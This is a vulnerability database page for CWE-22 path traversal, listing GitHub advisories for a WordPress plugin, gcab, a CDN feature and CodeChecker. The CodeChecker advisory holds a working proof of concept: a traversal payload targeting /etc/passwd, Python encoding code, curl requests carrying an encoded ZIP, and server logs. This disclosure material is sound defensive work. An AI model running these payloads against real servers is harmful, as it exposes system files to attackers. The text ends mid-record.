CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13217 vulnerabilities reference this CWE, most recent first.
GHSA-H23J-WQ46-J49H
Vulnerability from github – Published: 2022-05-17 04:39 – Updated: 2025-04-12 12:35Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
{
"affected": [],
"aliases": [
"CVE-2014-4941"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-11T20:55:00Z",
"severity": "MODERATE"
},
"details": "Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.",
"id": "GHSA-h23j-wq46-j49h",
"modified": "2025-04-12T12:35:38Z",
"published": "2022-05-17T04:39:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4941"
},
{
"type": "WEB",
"url": "http://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H25C-Q8JQ-GR57
Vulnerability from github – Published: 2022-05-14 02:06 – Updated: 2022-05-14 02:06Directory traversal vulnerability in the gcab_folder_extract function in libgcab/gcab-folder.c in gcab 0.4 allows remote attackers to write to arbitrary files via crafted path in a CAB file, as demonstrated by "\tmp\moo."
{
"affected": [],
"aliases": [
"CVE-2015-0552"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-15T15:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the gcab_folder_extract function in libgcab/gcab-folder.c in gcab 0.4 allows remote attackers to write to arbitrary files via crafted path in a CAB file, as demonstrated by \"\\tmp\\moo.\"",
"id": "GHSA-h25c-q8jq-gr57",
"modified": "2022-05-14T02:06:22Z",
"published": "2022-05-14T02:06:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0552"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774580"
},
{
"type": "WEB",
"url": "https://bugzilla.gnome.org/show_bug.cgi?id=742331"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2015-01/msg00018.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/62310"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/01/05/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H26C-C8W4-W73X
Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-24 21:32CDN versioning could check file paths outside the site directory, exposing local file existence and modification metadata.
{
"affected": [],
"aliases": [
"CVE-2026-65712"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T10:16:52Z",
"severity": "MODERATE"
},
"details": "CDN versioning could check file paths outside the site directory, exposing local file existence and modification metadata.",
"id": "GHSA-h26c-c8w4-w73x",
"modified": "2026-07-24T21:32:21Z",
"published": "2026-07-23T12:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65712"
},
{
"type": "WEB",
"url": "https://regularlabs.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H26W-R4M5-8RRF
Vulnerability from github – Published: 2024-06-24 16:18 – Updated: 2024-06-26 21:56Summary
ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.
Details
Target
The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.
Exploit overview
The attack is made possible by improper sanitization at one point in the process.
- When the ZIP file is uploaded by
CodeChecker store, it is first unzipped to a temporary directory (safely). - When deciding which files to insert into CodeChecker's internal database, the decision is made based on the
content_hashes.jsonin the ZIP. An attacker has control over the contents of this file. - After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
- Providing sufficiently many
../../s inside thecontent_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database. - This is confirmed in the log output:
mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
- Once the file is inserted into the internal database, it can be displayed trivially on the Web interface.
As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in
content_hashes.json.
mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
- The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:
hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
- The server emits the contents of the injected files from the server's database to all users:

[!NOTE]
The file is shown with the contents as it was on the system when the exploitedCodeChecker storewas exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.
PoC
The minimal example that can trigger the exploit can be downloaded: PoC.zip.
The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.
{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}
Uploading the ZIP to the server
The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:
import base64
import zlib
with open("PoC.zip", "rb") as f:
contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)
The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.
curl "<SERVER_URL>/<PRODUCT_URL>/v6.53/CodeCheckerService" \
--data \
'[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4":{"str":"<ENCODED_ZIP>"},"5":{"tf":0}}]'
One-line PoC
curl "http://localhost:8001/Default/v6.53/CodeCheckerService" \
--data \
'[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4" {"str":"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc="},"5":{"tf":0}}]'
Full server logs for the store processing
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - server.py:342 do_POST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Unzip storage file...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:82 unzip() - Unzipping mass storage ZIP '/tmp/tmpenegwbxj.zip' to '/home/discookie/.codechecker/tmpx7hg1teb'...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Unzip storage file done... (duration: 0.0 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1298 store() - Using unzipped folder '/home/discookie/.codechecker/tmpx7hg1teb'
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store source files...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1310 store() - [poc] Storing 2 source file(s).
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:463 __store_source_files() - 17 fileid found
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store source files done... (duration: 0.01 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1363 store() - Storing into run 'poc' locked at '2023-10-25 14:30:31.615536'.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:686 __add_or_update_run() - Adding run 'poc'...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:730 __add_or_update_run() - Adding run history.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:755 __add_or_update_run() - Adding run done.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:761 __add_or_update_run() - Storing analysis statistics done.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store reports...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1175 __store_reports() - Parsing input file 'sample.plist'
[DEBUG][2023-10-25 14:30:31] {report-converter} [2043] <139754026274816> - hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:987 __process_report_file() - Storing report to the database...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:827 __add_report_context() - Storing bug path positions.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:834 __add_report_context() - Storing bug path events.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:842 __add_report_context() - Storing notes.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:853 __add_report_context() - Storing macro expansions.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1220 __store_reports() - [poc] Processed 1 analyzer result file(s).
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store reports done... (duration: 0.1 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1260 finish_checker_run() - Finishing checker run
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1397 store() - 'Anonymous' stored results (3 KB /decompressed/) to run 'poc' (id: 16) in 0.15 seconds.
[INFO][2023-10-25 14:30:31] {store_time} [2043] <139754026274816> - mass_store_run.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, "Default", "poc", 3KB, 1, 16
[DEBUG][2023-10-25 14:30:31] {profiler} [2043] <139754026274816> - profiler.py:59 debug_wrapper() - [0.173351s] massStoreRun
Impact
The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server process. This allows for the exfiltration from the server-side storage medium.
If the CodeChecker server is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the CodeChecker server, with the permission to store to a database, and view the stored reports.
CVSS 3.1 Base Score: 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Reproducible up to version 6.22.1.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "codechecker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49793"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-24T16:18:09Z",
"nvd_published_at": "2024-06-24T18:15:10Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nZIP files uploaded to the server-side endpoint handling a `CodeChecker store` are not properly sanitized. An attacker can exercise a path traversal to make the `CodeChecker server` load and display files from an arbitrary location on the server machine.\n\n## Details\n\n### Target\n\nThe vulnerable endpoint is `/\u003cPRODUCT_URL\u003e/v6.53/CodeCheckerService@massStoreRun`.\n\n### Exploit overview\n\nThe attack is made possible by improper sanitization at one point in the process.\n\n1. When the ZIP file is uploaded by `CodeChecker store`, it is first unzipped to a temporary directory (safely).\n2. When deciding which files to insert into CodeChecker\u0027s internal database, the decision is made based on the `content_hashes.json` in the ZIP. An attacker has control over the contents of this file.\n3. After reading that file, the paths specified in the JSON are normalized by this code:\nhttps://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444\n4. Providing sufficiently many `../../`s inside the `content_hashes.json`, an attacker can control the insertion of completely arbitrary files into CodeChecker\u0027s internal database.\n5. This is confirmed in the log output:\n```\nmass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd\n```\n6. Once the file is inserted into the internal database, it can be displayed trivially on the Web interface.\nAs CodeChecker doesn\u0027t distinguish between filenames after the ZIP is extraced, an attacker can define aliases in `content_hashes.json`.\n```\nmass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd\nmass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.\n```\n7. The file is displayed in the Web UI if and only if there is at least one _bug report_ in it.\nThe bug reports are coming from the ZIP and the attacker can craft the required contents for this.\nIf done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:\n```\nhash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2\n```\n8. The server emits the contents of the injected files from the server\u0027s database to all users:\n\n\n\u003e [!NOTE] \n\u003e The file is shown with the contents as it was on the system when the exploited `CodeChecker store` was exercised. This attack does not allow the server to return the \"live\" contents of a file on the server\u0027s storage \u0026mdash; the attacker(s) must recurringly exercise the exploit to keep the injected files \"updated\" in the database.\n\n\n## PoC\n\nThe minimal example that can trigger the exploit can be downloaded: [`PoC.zip`](https://github.com/Ericsson/codechecker/files/14757143/PoC.zip).\n\nThe key to the exploit is the `content_hashes.json` file. The additional files create a report in the loaded `/etc/passwd` file, so it is displayed in the web UI.\n\n\u003cdetails\u003e\u003csummary\u003e\u003ctt\u003e/content_hashes.json\u003c/tt\u003e\u003c/summary\u003e\n\n```json\n{\"/../../../../../../../../../../../../../../../etc/passwd\": \"malformed_hash\", \"/etc/passwd\": \"malformed_hash\"}\n```\n\u003c/details\u003e\n\n#### Uploading the ZIP to the server\n\nThe communication between the `CodeChecker store` and the server is done by transmitting the ZIP file in a Base64-encoded string. \nEncoding the ZIP into the format of the API can be done with Python:\n\n```py\nimport base64\nimport zlib\n\nwith open(\"PoC.zip\", \"rb\") as f:\n contents = f.read()\nencoded = base64.b64encode(zlib.compress(contents))\nprint(encoded)\n```\n\nThe result of the compression and encoding can be sent to the running server over the API.\nWhen the API is called, the exploit is exercised.\n\n```bash\ncurl \"\u003cSERVER_URL\u003e/\u003cPRODUCT_URL\u003e/v6.53/CodeCheckerService\" \\\n --data \\\n \u0027[1,\"massStoreRun\",1,0,{\"1\":{\"str\":\"poc\"},\"3\":{\"str\":\"6.22.1\"},\"4\":{\"str\":\"\u003cENCODED_ZIP\u003e\"},\"5\":{\"tf\":0}}]\u0027\n```\n\n\u003cdetails\u003e\u003csummary\u003eOne-line PoC\u003c/summary\u003e\n\n```bash\ncurl \"http://localhost:8001/Default/v6.53/CodeCheckerService\" \\\n --data \\\n \u0027[1,\"massStoreRun\",1,0,{\"1\":{\"str\":\"poc\"},\"3\":{\"str\":\"6.22.1\"},\"4\" {\"str\":\"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc=\"},\"5\":{\"tf\":0}}]\u0027 \n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eFull server logs for the \u003ctt\u003estore\u003c/tt\u003e processing\u003c/summary\u003e\n\n```\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - server.py:342 do_POST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:61 __enter__() - [poc] Unzip storage file...\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:82 unzip() - Unzipping mass storage ZIP \u0027/tmp/tmpenegwbxj.zip\u0027 to \u0027/home/discookie/.codechecker/tmpx7hg1teb\u0027...\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:64 __exit__() - [poc] Unzip storage file done... (duration: 0.0 sec)\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1298 store() - Using unzipped folder \u0027/home/discookie/.codechecker/tmpx7hg1teb\u0027\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:61 __enter__() - [poc] Store source files...\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1310 store() - [poc] Storing 2 source file(s).\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:463 __store_source_files() - 17 fileid found\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:64 __exit__() - [poc] Store source files done... (duration: 0.01 sec)\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1363 store() - Storing into run \u0027poc\u0027 locked at \u00272023-10-25 14:30:31.615536\u0027.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:686 __add_or_update_run() - Adding run \u0027poc\u0027...\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:730 __add_or_update_run() - Adding run history.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:755 __add_or_update_run() - Adding run done.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:761 __add_or_update_run() - Storing analysis statistics done.\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:61 __enter__() - [poc] Store reports...\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1163 __store_reports() - Get reports from \u0027/home/discookie/.codechecker/tmpx7hg1teb/reports\u0027 directory\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1163 __store_reports() - Get reports from \u0027/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43\u0027 directory\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1175 __store_reports() - Parsing input file \u0027sample.plist\u0027\n[DEBUG][2023-10-25 14:30:31] {report-converter} [2043] \u003c139754026274816\u003e - hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:987 __process_report_file() - Storing report to the database...\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:827 __add_report_context() - Storing bug path positions.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:834 __add_report_context() - Storing bug path events.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:842 __add_report_context() - Storing notes.\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:853 __add_report_context() - Storing macro expansions.\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1220 __store_reports() - [poc] Processed 1 analyzer result file(s).\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:64 __exit__() - [poc] Store reports done... (duration: 0.1 sec)\n[DEBUG][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1260 finish_checker_run() - Finishing checker run\n[INFO][2023-10-25 14:30:31] {server} [2043] \u003c139754026274816\u003e - mass_store_run.py:1397 store() - \u0027Anonymous\u0027 stored results (3 KB /decompressed/) to run \u0027poc\u0027 (id: 16) in 0.15 seconds.\n[INFO][2023-10-25 14:30:31] {store_time} [2043] \u003c139754026274816\u003e - mass_store_run.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, \"Default\", \"poc\", 3KB, 1, 16\n[DEBUG][2023-10-25 14:30:31] {profiler} [2043] \u003c139754026274816\u003e - profiler.py:59 debug_wrapper() - [0.173351s] massStoreRun\n```\n\u003c/details\u003e\n\n## Impact\nThe path traversal vulnerability allows reading data on the machine of the `CodeChecker server`, with the same permission level as the `CodeChecker server` process. This allows for the exfiltration from the server-side storage medium.\nIf the `CodeChecker server` is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the `CodeChecker server`, with the permission to store to a database, and view the stored reports.\n\nCVSS 3.1 Base Score: 6.5\n[AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\u0026version=3.1)\n\nReproducible up to version `6.22.1`.",
"id": "GHSA-h26w-r4m5-8rrf",
"modified": "2024-06-26T21:56:26Z",
"published": "2024-06-24T16:18:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Ericsson/codechecker/security/advisories/GHSA-h26w-r4m5-8rrf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49793"
},
{
"type": "WEB",
"url": "https://github.com/Ericsson/codechecker/commit/46bada41e32f3ba0f6011d5c556b579f6dddf07a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Ericsson/codechecker"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/codechecker/PYSEC-2024-54.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
